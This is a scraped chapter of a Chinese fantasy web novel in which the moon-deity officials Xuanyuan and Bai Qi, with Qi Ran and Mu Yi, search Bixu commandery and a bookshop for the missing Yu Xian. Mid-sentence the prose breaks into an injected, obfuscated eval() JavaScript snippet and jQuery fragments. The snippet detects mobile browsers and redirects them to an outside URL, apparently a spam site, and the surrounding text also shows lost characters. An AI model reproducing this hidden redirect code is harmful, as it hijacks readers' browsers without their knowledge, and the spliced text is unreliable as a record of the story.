11.寻迹
作品:《宿命轮转》 玄渊带着白玘乘上了无妄渊岸的小舟,心情有些许的郁闷。
并非是他想多管闲事,而是白玘对公务实在是太过尽心,竟一点都没考虑过自己的状态。
玄渊任由白玘靠在自己的怀中,有些百无聊赖地看着她的样貌。同样是月神殿下的神官,由于月神之力的吸引,两人天然地就会感知到彼此的神力和存在。
那日初见,白玘错认了人,正是这个原因。尽管玄渊也察觉到了她的身份,但当时并未立即拆穿。
在幽都府,他是令人望而生畏的幽都府君;而在下界,他只想当个自由自在的散仙。
他不愿参与到这件事来,是不想给自己找麻烦。虽然还不知道灵元会给下界带来怎样的灾难,但他的职责,仅仅是带回世间飘散的魂魄,使其正常轮转而已。
世间总有人会为了心中的道义,想要竭尽全力拯救所谓的苍生,这都不关他的事。当个看客,也是别有一番乐趣。
可是这个妄图拯救苍生的人出现了,她才将要去实现她的抱负,就倒在了他的眼前。她的魂魄又不归幽都府管……况且,此人还是他的同僚。虽说两人之间没有什么情份可言,但倘若玄渊置之不理,月神殿的那位一定会借机来找事的。
玄渊任凭这一叶扁舟在无妄渊上飘荡,自己则是拿出折扇在手中把玩起来。
他的思绪停滞了许久,都没有生出什么想法来。见机行事,才符合他一贯的作风。
玄渊的目光在白玘的脸上打着转,手中的折扇时不时会划过白玘面颊的上方。
“小山茶精,”玄渊自顾自地说起话来,“你这七百年都是埋在祈神山的土里吗?”
祈神山的灵力充沛,是个养花种树的圣地。玄渊看出来,白玘的神识应是在祈神山种下了根,所以异常坚韧。也是因此,白玘行事才有种不管不顾的无畏。
她的灵力原本应当很强才对,这才来到下界不久,就消耗成了这副模样。玄渊有些唏嘘,扯了扯嘴角又道:“下界哪里值得你这样?”
抛开这些不论,她脸上的伤似乎好的差不多了。
白玘本就生得冰肌玉骨,胜过人间万千绝色。容貌或许是她最不值得关心的,但若破损了分毫,也是怪叫人可惜的。
玄渊看着看着,竟有一瞬失了神。
冥水之上的圆月仿佛牵引住了玄渊的心神,一时让他有些陷进其中。
“可恶。”玄渊反应过来时,沉声吐了一句不快。
玄渊被短暂地控制住了,那是月神之力的压制,他的脸色上罕见地浮现了些许不悦。
悄然间,他们已经停靠在了无妄渊的对岸。玄渊几乎没有犹豫,瞬间就抱起白玘回到了人界。
白玘的真身留在了一个名为“太初”的宫观,玄渊注意到宫观的神像时,脑中浮现了一点模糊的记忆。只是他身为幽都府君的这段时间里,见过了太多神官的飞升和陨落,实在有些想不起来眼前这位的事迹。
祁然正在宫观内慎之又慎地为白玘护着法,一股至纯的灵力环绕在法阵周围,抵御着一切外来妖邪的侵扰。
玄渊在宫观内环视了一番,而后对祁然道:“喂,她回来了。”
祁然闻声才察觉到玄渊的出现,见是白玘,他立即收起了法阵,规规矩矩地和玄渊打了个招呼:“祁然见过府君。”
“嗯,这里没有幽都府君,只有梁缘。”玄渊一到下界,便放下了作为幽都府君的架子。
“是,梁公子,多谢你送阿玘回来。”祁然很是识趣地改了口,放松地笑了笑。
玄渊略施术法,将白玘的神识注入到她的真身中,转而对祁然叮嘱道:“她的灵力耗尽了,你照顾好她。”
“梁公子,我会的。”祁然礼貌地点点头。
玄渊正准备就此离开,可当他看到祁然的时候,又忍不住多问了一句:“清尘山只派了你一个人下来?”
“是。”祁然回应道。
“你知道自己该做什么吗?”玄渊又质问了一句。
“守天道,通达本心。”祁然说得真挚。
玄渊审视了一阵祁然,沉默良久后说道:“好。”
“梁公子,你现在是要离开了吗?”祁然思考了片刻,问道。
玄渊的步子顿了一顿,他又看了一眼白玘,考量片刻后问向祁然:“你们住哪儿?”
祁然立时应道:“梁公子,可随我来。”
玄渊将白玘安然无恙送回客栈后,才总算了结了今夜的差事。天光将要破开云层,玄渊望了望天边,索性在碧虚郡的境内闲逛起来。
白玘在客栈醒来时,意识缓了许久才清醒。
祁然正端坐在一旁抱着云水剑调息,察觉到动静后他便立时起身照看白玘,问:“阿玘,你感觉怎么样?”
白玘轻声应道:“还好,灵力已经恢复了些。”
“那就好。”祁然悬着的心总算放下。
白玘起身简单运转了一□□内的灵力,那股流转的力量逐渐充盈,让她的神识清澈了很多。
“今日我们必须在碧虚郡内仔细探查一番,哪怕是将此地翻个底朝天,我也要找到虞羡。”白玘的语气坚定。
“好,我们一定会找到的,”祁然应道,转而又问,“要叫上慕公子吗?”
虞羡此时的境况必然不妙,慕意的状态也是尽量在强撑着。白玘有些纠结……可是转念一想,虞羡也应当希望能立即见到慕意的吧,就像慕意只盼着见她最后一面。
“我们先去慕家。”白玘决定后说道。
慕意一直在家中等待着白玘的消息,没敢再随意行动。再见到白玘时,他仿佛看到了一丝曙光。
“不用带人手,只你一人跟我们去寻便好,”白玘叮嘱道,“跟慕家主就说,你今日要带我们在碧虚郡逛逛。”
“好。”慕意什么也没有多问,径直就跟白玘二人出了门。
碧虚郡在郡县中并不算太大,除了一座城,下辖只有两个镇子。白玘有了大致的方向后,寻找起来便没有多难。
白玘要探查的路线正是虞羡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726588|154960||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出事那日所游玩的,一下午的时间,足以让她复刻当日的场景。
白日的水凉街上熙熙攘攘,很是热闹。白玘发觉,尽管夜晚的碧虚郡妖气四溢,却对这里百姓的生活没有任何影响……难道这些妖物都是食素的吗?
虽然白玘想到了这一点,可此时她也无暇分神去顾及,只得先朝着一条线索寻下去。
“虞羡那日出门,先是去逛了逛南市,不过她没有挑中心仪的花,便又逛到了水凉街上。”白玘一步步回忆着。
慕意有些不可置信地看向白玘,低声问道:“白姑娘……你是如何得知?”
“是梅香的记忆,留在了太初观中,”白玘编了一个理由,“那日,是梅香陪着虞羡出门的。”
“原来如此!”慕意顿时明了。
南市里除了有些随着山花进城的一些精灵,并没有其他异象。白玘一行人迅速游览了一遍,转道就来了水凉街。
白玘记得虞羡和梅香曾在卖纸鸢的摊子旁逗留了许久,亦未买到想要的款式。这里的纸鸢看起来也是再平常不过,白玘扫了几眼后果断结束了这里的探查。
白玘将探查的重点放在了折柳书铺——这是梅香记忆中,虞羡第一次察觉到危险的地方。
“从前我和阿羡常来这间书铺寻书,这间书铺所售的书册,纸张用的都是最好的,遇水也不容易腐烂。”慕意说道。
白玘一遍观察着这间书铺,一边随手拿起几本书籍翻看着。
“这里的书籍,种类倒是颇多。”祁然四处看了一眼说。
“嗯,不论是考学需要看的经书,还是闲暇时阅览的杂书,这里几乎都有。”慕意介绍着。
“连那种志怪异闻,记载了奇门异术的书册也有吗?”白玘意有所指,想来虞羡书房中的书大多都是从这儿买来的。
“……没错,碧虚郡毕竟是小地方,书籍的禁令没有太严。虞大人知道阿羡喜好这些,便没有管制太多。”慕意此时心中有些杂乱。
事已至此,他也无法再论说这事是好还是不好。
书铺中依然有信纸在售,白玘拿了一叠一模一样的信纸在手中,透着日光看了看。
“虞羡买了一叠信纸,准备写信给你,不过还没来得及。”白玘看向慕意,平静地说。
慕意的面上泛起一丝苦痛的神色,旋即又被他尽力压了下去,他有些迟缓地开口:“之前阿羡寄给我的每封信我都存下来了。”
“我一定会让你们再见一面的。”白玘笑了笑,小声对慕意承诺道。
折柳书铺的规模并不太大,所有书籍过一遍眼,白玘也没有发觉藏在其中的异常。
这里只有两个伙计在看铺子,一个是结账的,另一个是整理书册的。祁然用灵力悄然试探了一番,亦没有结果,只好朝白玘轻微地摇了摇头。
停留许久后,白玘忽然想起虞羡说的话,冷不丁问向祁然:“等等,祁然,你有没有……听见水声?”
“啊?”祁然握紧云水剑,有些不明所以发出了疑问。

